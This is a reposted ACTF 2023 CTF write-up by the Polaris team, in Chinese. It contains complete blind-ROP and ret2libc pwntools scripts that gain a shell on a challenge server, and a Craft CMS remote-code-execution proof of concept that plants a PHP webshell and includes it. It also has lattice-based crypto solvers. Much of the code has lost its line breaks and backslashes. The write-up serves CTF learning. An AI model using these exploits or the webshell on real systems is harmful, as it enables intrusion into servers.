 while 1:    p = remote('120.46.65.156', 32104)    rl(b'[A]aaaaaa')
   try:      sc =  d(8) + s(8)      sla(b'> ', sc)      print('i ->>>>', hex(i))      stop_gadget = u64(rl(b'x00x00'))      pro_base = stop_gadget - 0x1540      ret_gadget = stop_gadget + 32            sc = d(8) + w(8) + a(0x10)      sla(b'> ', sc)      # get stack      sc = d(0x8) + w(8)      sla(b'> ', sc)      stack = u64(rl(b'x00x00'))      AAA = stack - 8            # get 6      sc = a(0x8) + w(0x28) + a(1)      sla(b'> ', sc)      print(hex(i))      six_value = u64(rl(b'x00x00'))            # get 7      sc = d(1) + a(0x28) + w(0x8)      sla(b'> ', sc)      print(hex(i))      seven_value = u64(rl(b'x00x00'))      break    except:      p.close()      pass    # get 8  eight_value = 0x00    sc = d(0x28) + a(0x8)  sc += toto_(six_value, 0)  sc += d(0x8) + toto_(seven_value, stop_gadget)  sc += d(0x8) + toto_(eight_value, 0)  sla(b'> ', sc)    sc = a(0x40) + toto_(0x0061616161616141, stop_gadget + i)  sla(b'> ', sc)    #sc = d(0x8) + s(0x38)  #sla(b'> ', sc)    sc = a(0x8) + w(32)  sla(b'> ', sc)    lg('ret_gadget', ret_gadget)  lg('stop_gadget', stop_gadget)  lg('seven_value', seven_value)  lg('six_value', six_value)  lg('AAA', AAA)  print(hex(i))  # 7 0x8e 0x92 0x93    #inter()  try:    r1 = p.recv()    r2 = p.recv()    print(r1)    print(r2)    if r2 == b'the monitored command dumped coren':      pass    print(hex(i))    pause()    p.close()  except:    p.close()    pass

有了 pop6_gadget ,就相当于有了 pop_rdi; ret 这个gadget

然后是第三次爆破,爆破 puts_plt 

于是接着爆破

爆破脚本

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')#p = remote('120.46.65.156', 32104)#p = process('./Genshin')elf = ELF('./Genshin')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):  return str(size).encode() + b'w'def s(size):  return str(size).encode() + b's'def a(size):  return str(size).encode() + b'a'def d(size):  return str(size).encode() + b'd'def to_(a, b):  if a > b:    return s(a - b)  else:    return w(b - a)
def toto_(a, b):  sc = to_(a & 0xff, b & 0xff)  sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)  sc += b'7a'  return sc
for i in range(0x800, 0x2000):
 while 1:    p = remote('120.46.65.156', 32104)    rl(b'[A]aaaaaa')
   try:      sc =  d(8) + s(8)      sla(b'> ', sc)      print('i ->>>>', hex(i))      stop_gadget = u64(rl(b'x00x00'))      pro_base = stop_gadget - 0x1540      ret_gadget = stop_gadget + 32      csu_gadget = stop_gadget + 0x92      rdi_gadget = csu_gadget + 9      pop5_gadget = csu_gadget + 1            sc = d(8) + w(8) + a(0x10)      sla(b'> ', sc)      # get stack      sc = d(0x8) + w(8)      sla(b'> ', sc)      stack = u64(rl(b'x00x00'))      AAA = stack - 8            # get 6      sc = a(0x8) + w(0x28) + a(1)      sla(b'> ', sc)      print(hex(i))      six_value = u64(rl(b'x00x00'))            # get 7      sc = d(1) + a(0x28) + w(0x8)      sla(b'> ', sc)      print(hex(i))      seven_value = u64(rl(b'x00x00'))      break    except:      p.close()      pass    # get 8  eight_value = 0x00    sc = d(0x28) + a(0x8)  sc += toto_(six_value, rdi_gadget)  sc += d(0x8) + toto_(seven_value, pro_base)  sc += d(0x8) + toto_(eight_value, pro_base + i)  sla(b'> ', sc)    sc = a(0x40) + toto_(0x0061616161616141, pop5_gadget)  sla(b'> ', sc)    #sc = d(0x8) + s(0x38)  #sla(b'> ', sc)    sc = a(0x8) + w(32)  sla(b'> ', sc)    lg('ret_gadget', ret_gadget)  lg('stop_gadget', stop_gadget)  lg('seven_value', seven_value)  lg('six_value', six_value)  lg('AAA', AAA)  print(hex(i))  # 7 0x8e 0x92 0x93    #inter()  try:    r1 = p.recv()    r2 = p.recv()    print(r1)    print(r2)    if r2 == b'the monitored command dumped coren':      pass    print(hex(i))    pause()    p.close()  except:    p.close()    pass

这里可以得到 puts_plt = pro_base + 0x1060

然后就是 dump 程序

脚本

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')#, log_level='debug')#p = remote('120.46.65.156', 32104)#p = process('./Genshin')elf = ELF('./Genshin')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):  return str(size).encode() + b'w'def s(size):  return str(size).encode() + b's'def a(size):  return str(size).encode() + b'a'def d(size):  return str(size).encode() + b'd'def to_(a, b):  if a > b:    return s(a - b)  else:    return w(b - a)
def toto_(a, b):  sc = to_(a & 0xff, b & 0xff)  sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)  sc += b'7a'  return sc
 #inter()# 32w 34w 35 36 106 117w -> start 127W 128 131 135 143 172w -> main 177 -> main 181 -> main 184 -> main 187 -> main 191 -> main 193 -> main 198 -> main 205 -> vuln 210 -> vuln# all + 30
count = 0pwn = b''
#while count < 0x1000:for i in range(0x1000):  if count > 0x1000:    break  while 1:    p = remote('120.46.65.156', 32104)    rl(b'[A]aaaaaa')    try:      sc =  d(8) + s(8)      sla(b'> ', sc)      stop_gadget = u64(rl(b'x00x00'))      pro_base = stop_gadget - 0x1540      ret_gadget = stop_gadget + 32      start = stop_gadget + 147      csu_gadget = stop_gadget + 0x92      rdi_gadget = csu_gadget + 0x9      ret_gadget1 = csu_gadget + 0xa      pop5_gadget = stop_gadget + 0x93      puts_plt = pro_base + 0x1000 + 0x40      main = stop_gadget + 0x95      puts_plt = pro_base + 0x1060      sc = d(8) + w(8) + a(0x10)      sla(b'> ', sc)      # get stack      sc = d(0x8) + w(8)      sla(b'> ', sc)      stack = u64(rl(b'x00x00'))      AAA = stack - 8            # get 6      sc = a(0x8) + w(0x28) + a(1)      sla(b'> ', sc)      six_value = u64(rl(b'x00x00'))            # get 7      sc = d(1) + a(0x28) + w(0x8)      sla(b'> ', sc)      print(hex(i))      seven_value = u64(rl(b'x00x00'))      break    except:      p.close()      pass    # get 8  eight_value = 0x00    # 0x96 0x97  sc = d(0x28) + a(0x8)  sc += toto_(six_value, rdi_gadget)  sc += d(0x8) + toto_(seven_value, pro_base + count)  sc += d(0x8) + toto_(eight_value, puts_plt)  sla(b'> ', sc)    sc = a(0x40) + toto_(0x0061616161616141, pop5_gadget)  sla(b'> ', sc)    #sc = d(0x8) + s(0x38)  #sla(b'> ', sc)    sc = a(0x8) + w(32)  sla(b'> ', sc)
 try:    resp1 = rl(b'timeout: the monitored command dumped coren')[:-43]    resp = b''    if resp1 == b'n':      resp = b'x00'    elif resp1[-1:] == b'n':      resp = resp1[:-1] + b'x00'    else:      resp = resp1    print('leak -> ', resp, resp1)    pwn += resp    count += len(resp)    print('count -> ', count)    p.close()      except Exception as e:    print(e)    print('count -> ', count)with open('pwn2', 'wb') as f:  f.write(pwn)    

这里为了节约时间,只 dump 前 0x1000 字节

然后可以通过 010 editor 分析

最后得到 got 表地址是 pro_base + 0x4000

然后利用 ret2libc 去调用泄露出来的 got 表地址

就可以知道泄露的地址是什么函数了

最终利用 exp

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')#p = remote('120.46.65.156', 32104)#p = process('./Genshin')

def w(size):  return str(size).encode() + b'w'def s(size):  return str(size).encode() + b's'def a(size):  return str(size).encode() + b'a'def d(size):  return str(size).encode() + b'd'def to_(a, b):  if a > b:    return s(a - b)  else:    return w(b - a)
def toto_(a, b):  sc = to_(a & 0xff, b & 0xff)  sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)  sc += b'7a'  return sc
 #inter()# 32w 34w 35 36 106 117w -> start 127W 128 131 135 143 172w -> main 177 -> main 181 -> main 184 -> main 187 -> main 191 -> main 193 -> main 198 -> main 205 -> vuln 210 -> vuln# all + 30
count = 4106pwn = b''
#while count < 0x1000:for i in range(1):  if count > 0x1500:    break  while 1:    p = remote('120.46.65.156', 32104)    rl(b'[A]aaaaaa')    try:      sc =  d(8) + s(8)      sla(b'> ', sc)      stop_gadget = u64(rl(b'x00x00'))      pro_base = stop_gadget - 0x1540      ret_gadget = stop_gadget + 32      start = stop_gadget + 147      csu_gadget = stop_gadget + 0x92      rdi_gadget = csu_gadget + 0x9      ret_gadget1 = csu_gadget + 0xa      pop5_gadget = stop_gadget + 0x93      main = stop_gadget + 0x95      puts_plt = pro_base + 0x1060      sc = d(8) + w(8) + a(0x10)      sla(b'> ', sc)      # get stack      sc = d(0x8) + w(8)      sla(b'> ', sc)      stack = u64(rl(b'x00x00'))      AAA = stack - 8            # get 6      sc = a(0x8) + w(0x28) + a(1)      sla(b'> ', sc)      six_value = u64(rl(b'x00x00'))            # get 7      sc = d(1) + a(0x28) + w(0x8)      sla(b'> ', sc)      print(hex(i))      seven_value = u64(rl(b'x00x00'))            # get 9      sc = a(0x8) + w(0x10)      sla(b'> ', sc)      nine_value = u64(rl(b'n')[:-1])            break    except:      p.close()      pass    # get 8  eight_value = 0x00    # 0x96 0x97  sc = d(0x30) + a(0x18)  sc += toto_(six_value, rdi_gadget)  sc += d(0x8) + toto_(seven_value, pro_base + 0x4000 + 0x40)  sc += d(0x8) + toto_(eight_value, puts_plt)  sc += d(0x8) + toto_(nine_value, stop_gadget)  sla(b'> ', sc)  sc = a(0x48) + toto_(0x0061616161616141, pop5_gadget)  sla(b'> ', sc)    sc = a(0x8) + w(32)  sla(b'> ', sc)    libc_base = l64() - 0x056cf0 # printf  system = libc_base + 0x048e50  binsh = libc_base + 0x18a156    sa(b'> ', b'n')  rl(b'Aaaaaaax00')    sc = d(0x50) + toto_(0x0061616161616141, pop5_gadget)  sla(b'> ', sc)    # get 6  sc = d(0x8) + w(0x30)  sla(b'> ', sc)  six_value = u64(rl(b'n')[:-1])    # get 7  sc = a(0x30) + w(0x8)  sla(b'> ', sc)  seven_value = u64(rl(b'n')[:-1])    # get 9  sc = a(8) + w(0x10)  sla(b'> ', sc)  nine_value = u64(rl(b'n')[:-1])    sc = d(0x30) + a(0x18)  sc += toto_(six_value, rdi_gadget)  sc += d(0x8) + toto_(seven_value, stack - 0x60)  sc += d(0x8) + toto_(eight_value, system)  sc += d(0x8) + toto_(nine_value, 0x00000000003b6873) # sh;  sla(b'> ', sc)  #sc = a(0x48) + toto_(0x0061616161616141, pop5_gadget)  #sla(b'> ', sc)    sc = a(0x50) + w(32)  #sc = a(0x8) + w(32)  sla(b'> ', sc)    lg('rdi_gadget', rdi_gadget)  lg('puts_plt', puts_plt)  lg('libc_base', libc_base)  lg('pop5_gadget', pop5_gadget)  lg('stop_gadget', stop_gadget)  lg('six_value', six_value)  lg('seven_value', seven_value)  lg('nine_value', nine_value)    inter()  

02

RE

1.

qemu playground - 1

没写脚本,主要是看代码猜出来是异或了

然后手动 cyberchef 拼了一下:

ACTF 2023 Writeup Polaris战队

不过光看也不够

动调到 if 的地方然后抓内存再手动异或就好:

ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}

03

WEB

1.

MyGO's Live!!!!!

这题在报错里面就有flag

http://124.70.33.170:24000/checker?url=127.0.0.1

访问发现flag

# Nmap 7.93 scan initiated Sun Oct 29 02:47:20 2023 as: nmap -p 80 -iL /flag-07349212197f72ae -oN - a 127.0.0.1 Failed to resolve "ACTF{s1nc3_I_c4N_d0_anyThin9_1f_I_c4n}". 

2.

craftcms

先用文件写入去写一个shell

然后再用文件包含去执行就能够拿到flag

文件写入poc

POST /index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Host: 61.147.171.105:62043Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=--------------------------974726398307238472515955Content-Length: 843
----------------------------974726398307238472515955Content-Disposition: form-data; name="action"
conditions/render----------------------------974726398307238472515955Content-Disposition: form-data; name="configObject"
craftelementsconditionsElementCondition----------------------------974726398307238472515955Content-Disposition: form-data; name="config"
{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}----------------------------974726398307238472515955Content-Disposition: form-data; name="image"; filename="poc.msl"Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?><image><read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;;"/><write filename="info:/tmp/shell"></image>----------------------------974726398307238472515955--

文件包含poc

POST /?cmd=/readflag HTTP/1.1Host: 61.147.171.105:62043Content-Length: 199Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: 123Origin: http://61.147.171.105:62043Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://61.147.171.105:62043/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Cookie: CRAFT_CSRF_TOKEN=8ac93d9be5da0ed90bb8783934dfc6d06e3d20a549c0255d71356d14e4fe706ca%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22F-R5IoH982XGSKlbvKVam0ZS6q6ZOZmmRBkzw1yg%22%3B%7DConnection: close
action=conditions/render&configObject=craftelementsconditionsElementCondition&config={"name":"configObject","as%20":{"class":"\yii\rbac\PhpManager","__construct()":[{"itemFile":"/tmp/shell"}]}}

04

Crypto

1.

MDH

from hashlib import sha256from Crypto.Util.number import *
with open('output.txt', 'r') as f:    data = f.readlines()ct = eval(data[0])pk_alice = eval(data[1])pk_bob = eval(data[2])
r = 128c = 96p = 308955606868885551120230861462612873078105583047156930179459717798715109629Fp = GF(p)
pk_alice = matrix(Fp, pk_alice)pk_bob = matrix(Fp, pk_bob)shared = (pk_alice.T*pk_bob).trace()flag = int(int(sha256(str(int(shared)).encode()).hexdigest(), 16) ^^ ct)flag = long_to_bytes(flag).decode()print(flag)  # ACTF{do_you_know_f0rm2l1n_1s_4w3s0m3!}

2.

EasyRSA

由题可知:

ACTF 2023 Writeup Polaris战队

于是有:

ACTF 2023 Writeup Polaris战队

构造格:

ACTF 2023 Writeup Polaris战队

调至平衡后,LLL可得d,即解

###Sage###from gmpy2 import *from Crypto.Util.number import *c = 63442255298812942222810837512019302954917822996915527697525497640413662503768308023517128481053593562877494934841788054865410798751447333551319775025362132176942795107214528962480350398519459474033659025815248579631003928932688495682277210240277909527931445899728273182691941548330126199931886748296031014210795428593631253184315074234352536885430181103986084755140024577780815130067722355861473639612699372152970688687877075365330095265612016350599320999156644e_ = 272785315258275494478303901715994595013215169713087273945370833673873860340153367010424559026764907254821416435761617347240970711252213646287464416524071944646705551816941437389777294159359383356817408302841561284559712640940354294840597133394851851877857751302209309529938795265777557840238332937938235024502686737802184255165075195042860413556866222562167425361146312096189555572705076252573222261842045286782816083933952875990572937346408235562417656218440227n1 = 327163771871802208683424470007561712270872666244394076667663345333853591836596054597471607916850284565474732679392694515656845653581599800514388800663813830528483334021178531162556250468743461443904645773493383915711571062775922446922917130005772040139744330987272549252540089872170217864935146429898458644025927741607569303966038195226388964722300472005107075179204987774627759625183739199425329481632596633992804636690274844290983438078815836605603147141262181n2 = 442893163857502334109676162774199722362644200933618691728267162172376730137502879609506615568680508257973678725536472848428042122350184530077765734033425406055810373669798840851851090476687785235612051747082232947418290952863499263547598032467577778461061567081620676910480684540883879257518083587862219344609851852177109722186714811329766477552794034774928983660538381764930765795290189612024799300768559485810526074992569676241537503405494203262336327709010421n3 = 473173031410877037287927970398347001343136400938581274026578368211539730987889738033351265663756061524526288423355193643110804217683860550767181983527932872361546531994961481442866335447011683462904976896894011884907968495626837219900141842587071512040734664898328709989285205714628355052565784162841441867556282849760230635164284802614010844226671736675222842060257156860013384955769045790763119616939897544697150710631300004180868397245728064351907334273953201

assert n1<n2<n3M=iroot(int(n3),int(2))[0]a=[0]*4a[0]=[M,e_,e_,e_]a[1]=[0,-n1,0,0]a[2]=[0,0,-n2,0]a[3]=[0,0,0,-n3]
Mat = matrix(ZZ,a)Mat_LLL=Mat.LLL()# Mat_LLLassert abs(Mat_LLL[0][0])%M == 0d = abs(Mat_LLL[0][0])//Mm = int(pow(c,d,n3))flag = long_to_bytes(m).decode()print(flag)  # ACTF{5FFC427B-F14F-DCA0-C425-675B149890C2}

2.

MidRSA

改写等式,爆破d_低16位,构建格求解。

对于

ACTF 2023 Writeup Polaris战队

ACTF 2023 Writeup Polaris战队

构造格:

ACTF 2023 Writeup Polaris战队

调至平衡后,LLL可得d高位

拼接低位后,即恢复d,得解

###Sage###from gmpy2 import *from tqdm import tqdmfrom Crypto.Util.number import *

c = 598823083137858565473505718525815255620672892612784824187302545127574115000325539999824374357957135208478070797113625659118825530731575573239221853507638809719397849963861367352055486212696958923800593172417262351719477530809870735637329898331854130533160020420263724619225174940214193740379571953951059401685115164634005411478583529751890781498407518739069969017597521632392997743956791839564573371955246955738575593780508817401390102856295102225132502636316844e_ = 334726528702628887205076146544909357751287869200972341824248480332256143541098971600873722567713812425364296038771650383962046800505086167635487091757206238206029361844181642521606953049529231154613145553220809927001722518303114599682529196697410089598230645579658906203453435640824934159645602447676974027474924465177723434855318446073578465621382859962701578350462059764095163424218813852195709023435581237538699769359084386399099644884006684995755938605201771n3 = 621786427956510577894657745225233425730501124908354697121702414978035232119311662357181409283130180887720760732555757426221953950475736078765267856308595870951635246720750862259255389006679454647170476427262240270915881126875224574474706572728931213060252787326765271752969318854360970801540289807965575654629288558728966771231501959974533484678236051025940684114262451777094234017210230731492336480895879764397821363102224085859281971513276968559080593778873231n2 = 335133378611627373902246132362791381335635839627660359611198202073307340179794138179041524058800936207811546752188713855950891460382258433727589232119735602364790267515558352318957355100518427499530387075144776790492766973547088838586041648900788325902589777445641895775357091753360428198189998860317775077739054298868885308909495601041757108114540069950359802851809227248145281594107487276003206931533768902437356652676341735882783415106786497390475670647453821n1 = 220290953009399899705676642623181513318918775662713704923101352853965768389363281894663344270979715555659079125651553079702318700200824118622766698792556506368153467944348604006011828780474050012010677204862020009069971864222175380878120025727369117819196954091417740367068284457817961773989542151049465711430065838517386380261817772422927774945414543880659243592749932727798690742051285364898081188510009069286094647222933710799481899960520270189522155672272451
n1,n2,n3 = sorted([n1,n2,n3])
assert n1<n2<n3
def solve():
   for dl in tqdm(range(2^16)):        a=[0]*5        a[0]=[2^(16+767),e_*2^16,e_*2^16,e_*2^16,0]        a[1]=[0,-n1,0,0,0]        a[2]=[0,0,-n2,0,0]        a[3]=[0,0,0,-n3,0]        a[4]=[0,e_*dl,e_*dl,e_*dl,2^(576+767)]
       Mat = matrix(ZZ,a)        Mat_LLL=Mat.LLL()
       for line in Mat_LLL:            if (abs(line[-1]) == 2^(576+767)):                dh = abs(line[0])//2^(16+767)                d = int((dh<<16)+dl)
               m = int(pow(c,d,n1))                flag1 = long_to_bytes(m)
               m = int(pow(c,d,n2))                flag2 = long_to_bytes(m)
               m = int(pow(c,d,n3))                flag3 = long_to_bytes(m)
               flags = [flag1, flag2,flag3]                for f in flags:                    if b'ACTF{' in f:                        print(f)                        returnsolve()  # ACTF{D16C46D9-77A2-2D96-CA51-4538EFB6AFF7}

05

MISC

1.

签退题

问卷答完就给flag了

2.

CTFer simulator

打开一看是个游戏,下面还有项目链接。

在 F12 的控制台下面能找到源代码

搞一份到本地然后跑起来。

然后把规则里的精力下降全部改成精力上升

手动做一遍拿到 8 个 flag 后把请求的包抓出来

然后换一下 host 用 bp 发过去就行了:

ACTF 2023 Writeup Polaris战队

3.

SIGNIN

签到题

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

ACTF 2023 Writeup Polaris战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月1日13:02:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ACTF 2023 Writeup Polaris战队http://cn-sec.com/archives/2163878.html

发表评论

匿名网友 填写信息